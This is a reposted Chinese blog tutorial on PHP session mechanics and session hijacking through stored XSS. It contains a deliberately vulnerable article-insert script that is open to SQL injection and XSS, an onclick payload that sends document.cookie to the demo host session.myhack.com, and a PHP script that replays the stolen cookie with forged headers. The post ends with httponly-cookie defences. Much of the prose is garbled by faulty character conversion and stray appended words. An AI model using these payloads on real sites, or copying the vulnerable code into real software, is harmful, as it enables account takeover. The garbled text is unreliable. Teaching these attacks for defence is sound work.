session的基本原理及安全性

1.session原理

提到session,你們確定會聯想到登陸,登陸成功後記錄登陸狀態,同時標記當前登陸用戶是誰。功能大致上就是這個樣子,可是今天要講的不是功能,而是實現。經過探討session的實現方式來發掘一些可能你以前不知道的有趣的事情。javascript


爲了記錄session,在客戶端和服務器端都要保存數據,客戶端記錄一個標記,服務器端不但存儲了這個標記同時還存儲了這個標記映射的數據。好吧,仍是說點白話吧,在客戶端記錄的實際上是一個sessionid,在服務器端記錄的是一個key-value形式的數據結構,這裏的key確定是指sessionid了,value就表明session的詳細內容。用戶在作http請求的時候,老是會把sessionid傳遞給服務器,而後服務器根據這個sessionid來查詢session的內容(也就是上面說到的value)。
如今咱們重點關注一下sessionid,他是今天問題的關鍵所在。sessionid在客戶端(http的客戶端通常就是指瀏覽器了)是存儲在cookie中,固然也有例外(書本上確定會提到也有保存在url中的,我作程序員這麼多年也沒有見過這種方式,這難道就是現實和實際的差距嗎,好殘酷)。php


咱們經過一個例子來闡述一下這個sessionid在session處理時的做用。首先假定這麼一個場景,咱們有一個cms(content management system,內容管理系統),這個應用有一個後臺,用戶必須登陸才能進入後臺進行文章發表等操做。首先是登陸流程,用戶在瀏覽器輸入用戶名、密碼,點擊登陸,瀏覽器會將用戶名密碼提交到服務器程序進行處理;服務器驗證用戶名、密碼正確後,會返回登陸成功信息,而且會修改服務器端的session內容,好比咱們將用戶ID寫入session中,爲了方便存儲這些session的內容會被序列化成字符串或者二進制保存在文件或者數據庫中,這時候大多數狀況下服務器在對當前的http請求進行響應時,會返回一個新的sessionid要求瀏覽器寫入本地cookie中,對應的返回的http響應頭部信息應該會是是這個樣子的:set-cookie:PHPSESSID=xxxxxxx,瀏覽器解析到這個頭以後就會在當前生成一個cookie關聯當前的域名。

圖1.1 登陸時序圖html


接着用戶登陸後臺進行發表文章操做,登陸用戶填寫文章的標題、內容,而後點擊發送。這時候瀏覽器會生成一條到服務器的http請求,注意這個請求的頭部會將存儲sessionid的cookie內容發送過去,也就是說請求的http頭部信息中應該會有這麼一段數據:cookie:PHPSESSID=xxxxxxx;other_cookie_name=yyyyyy;服務器接收到這個http請求以後,解析到cookie存在,且cookie中存在PHPSESSID這個cookie名字,而後就將PHPSESSID的值(也就是sessionid的值)取出來,根據這個PHPSESSID查詢服務器上有沒有對應的session內容,若是有則將其對應的值取出來進行反序列序列化(也就是將其轉成編程語言中的一個數據結果,好比在php中會獲得一個$_SESSION數組,在j2ee中會獲得類型爲javax.servlet.http.HttpSession),方便在程序中進行讀取,最終服務器認定session中儲存的值存在,而且從反序列化獲得的對象中讀取到了用戶ID屬性,而後就往cms數據庫的文章表中插入了一條數據,最終返回http響應,告訴瀏覽器操做成功了。

圖1.2 發表文章時序圖java

2.入侵示例

關於cookie的一些屬性,能夠參考個人另外一篇博文關於cookie的一些事,裏面會提到一個httponly的屬性,也就是是否禁止js讀取cookie。不幸的是不少常見的服務器(好比apache和tomcat)在生成這個存儲sessionid的cookie的時候,沒有設置httponly這個屬性,也就是說js是能夠將這個sessionid讀取出來的。git


js讀取到sessionid,這會有問題嗎?若是沒有問題,我就不在這裏囉嗦了。你網站上的運行的js代碼並不必定是你寫的,好比說通常網站都有一個發表文章或者說發帖的功能,若是別有用心的人在發表的時候填寫了html代碼(這些html通常是超連接或者圖片),可是你的後臺又沒有將其過濾掉,發表出來的文章,被其餘人點擊了其中惡意連接時,就出事了。這也就是咱們常說的XSS。程序員

 

   <?php
    session_start();
    $result = array();
    if (!isset($_SESSION['uid']) || !$_SESSION['uid']) {
        $result['code'] = 2;
        $result['msg'] = '還沒有登陸';
    } else {
        $uid = $_SESSION['uid'];
        require_once('../globaldb.php');
        if (!isset($_POST['title']) || !$_POST['title']) {
            $result['code'] = 4;
            $result['msg'] = '標題爲空';
            goto end;
        }
        if (!isset($_POST['content']) || !$_POST['content']) {
            $result['code'] = 4;
            $result['msg'] = '內容爲空';
            goto end;
        }

        if ($db->getStatus()) {
            $title = $_POST['title'];
            $content = $_POST['content'];
            $sql = 'insert into article(title,content,uid,create_time) values("'.$title.'","'.$content.'",'.$uid.',now())';
            $rv = $db->dbExecute($sql);
            if ($rv > 0) {
                $result['code'] = 0;
            } else {
                $result['code'] = 3;
                $result['msg'] = '插入失敗';
            }
        } else {
            $result['code'] = 1;
            $result['msg'] = '數據庫操做失敗';
        }
    }
    end:
    echo (json_encode($result));

 

代碼2.1 添加文章的後臺代碼sql


這裏給出了一段不靠譜代碼,之因此這麼說是因爲對於提交的內容沒有作過濾,好比說content表單域的內容。如今假設有這麼兩個網站,一個你本身的CMS網站,域名mycms.whyun.com,一個黑客用的網站,域名session.myhack.com。你能夠經過配置hosts來模擬這兩個網站,說到這裏可仍是推薦一下我以前作過的addhost工具,能夠自動生成hosts和vhost配置。代碼2.1正是mycms網站的代碼。
登陸mycms後在後臺添加一篇文章,文章內容爲:數據庫

<a href=\"#\" onclick=\'javascript:alert(document.cookie);return false;\'>點擊我,有驚喜!</a>

 

代碼2.2 alert cookie

圖2.1 顯示cookie的htmlapache

打開剛纔生成的文章連接,而後點擊點擊我,有驚喜!,會顯示當前域下的全部cookie。

圖2.2 cookie被alert出來編程

固然要想作到攻擊的目的僅僅作這些是不夠的,下面將這個連接的內容作的豐富多彩些。

<a href=\"#\" onclick=\'javascript:var link = this; var head = document.getElementsByTagName(\"head\")[0]; var js = document.createElement(\"script\"); js.src = \"http://session.myhack.com/httphack.php?cook=\"+encodeURIComponent(document.cookie); js.onload = js.onreadystatechange = function(){ if (!this.readyState || this.readyState == \"loaded\" || this.readyState == \"complete\") {head.removeChild(js);  alert(\"over\"); } }; head.appendChild(js);return false;\'>點擊我,有驚喜2!</a>

 

代碼2.3 跨站請求
這裏爲了將代碼嵌入html,得將其寫做一行,其簡潔模式爲:

var link = this;
    var head = document.getElementsByTagName("head")[0]; 
    var js = document.createElement("script"); 
    js.src = "http://session.myhack.com/httphack.php?cook="+encodeURIComponent(document.cookie); 
    js.onload = js.onreadystatechange = function(){ 
        if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") { 
            head.removeChild(js); 
            alert('開始跳轉真正的地址');location.href=link.getAttribute("href");//
        }
    }; 
    head.appendChild(js);

 

代碼2.4 跨站請求簡潔版


爲了真正的體現他是超連接仍是跳轉到一個地址爲妙,因此在簡潔班中腳本加載結束後作了跳轉,可是爲了演示方便,咱們在代碼2.3中沒有這麼作。
如今再點擊連接點擊我,有驚喜!,查看一下一下網絡請求,會發現一個到session.myhack.com/httphack.php地址的請求,返回數據爲var data = {"code":0};

圖2.3 跨站請求

接着看看httphack.php幹了啥:

<?php
    error_reporting(E_ALL);
    header("Content-type:application/javascript");

     function getRealIp()
    {
        $ip = '127.0.0.1';
        $ipname = array(
            'REMOTE_ADDR',
            'HTTP_CLIENT_IP',
            'HTTP_X_FORWARDED_FOR',
            'HTTP_X_FORWARDED',
            'HTTP_X_CLUSTER_CLIENT_IP',
            'HTTP_FORWARDED_FOR',
            'HTTP_FORWARDED'
        );
       foreach ($ipname as $value)
       {
           if (isset($_SERVER[$value]) && $_SERVER[$value]) {

                $ip = $_SERVER[$value];
                break;
           }
       }
       return $ip;
    }
    $ip = getRealIp();
    $cookies = isset($_GET['cook']) ? $_GET['cook'] : '';
    $headers = array(
        'User-Agent:'.$_SERVER['HTTP_USER_AGENT'],
        'X-FORWARDED-FOR:'.$ip,
        'Remote-Addr:'.$ip,
        'Cookie:'.$cookies
    );
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://mycms.whyun.com/back/article/article_add.php");
    // 設置cURL 參數,要求結果保存到字符串中仍是輸出到屏幕上。
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);  //構造IP
    curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);   //構造來路
    curl_setopt($ch, CURLOPT_HEADER, 0);

    curl_setopt($ch, CURLOPT_POST, true);
    $params = array('title'=>'這是跨站攻擊測試','content'=>'網站被跨站攻擊了');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

    $out = curl_exec($ch);
    curl_close($ch);

    $data = json_encode($headers);
    echo "var data = $out;";

 

代碼2.5 僞造session提交

從代碼2.5中能夠看出,咱們僞造了http請求的header內容,吧瀏覽器中mycms域的cookie原封不動傳過去了,同時在header還僞造了user-agent和ip,mycms中在校驗session的時候,發現sessionid和user-agent信息都是對的,因此認爲session是存在且合法的!至此爲止,咱們完成了跨站請求攻擊。

 

3.防範

 

第二章節中,咱們的攻擊思路是這樣的,咱們示例了經過js獲取cookie,而後生成一個第三方網站的網絡請求,而後再從第三方網站發起一個網絡請求到咱們本身的網站上。整個更急流程大致是這樣的:

圖3.1 跨站請求流程

從圖3.1能夠看出,讓整個流程沒法進行下去的措施有兩個,一個就是增強對提交信息和頁面顯示信息的過濾,讓非法提交內容無處施展;第二個就是讓存儲在cookie中的sessionid不能被js讀取到,這樣即便第一步出現漏洞的狀況下,依然不會被攻擊者走完整個攻擊流程。
在php中設置sessionid的httponly屬性的方法有不少,具體能夠參考 stackoverflow上的一個提問。jsp中也是有不少方法,能夠參考開源中國紅薯發表的一篇文章。這裏僅僅貼出來php中一個解決方法,就是在session_start()以後從新設置一下cookie:

<?php
    $sess_name = session_name();//必須在session_start以前調用session_name
    if (session_start()) {
        setcookie($sess_name, session_id(), null, '/', null, null, true);
    }

 

代碼3.1 設置httponly屬性爲true

document.cookie="Tid=123;httponly=true;"

 

原文地址:http://blog.csdn.net/yunnysunny/article/details/26935637

相關文章
相關標籤/搜索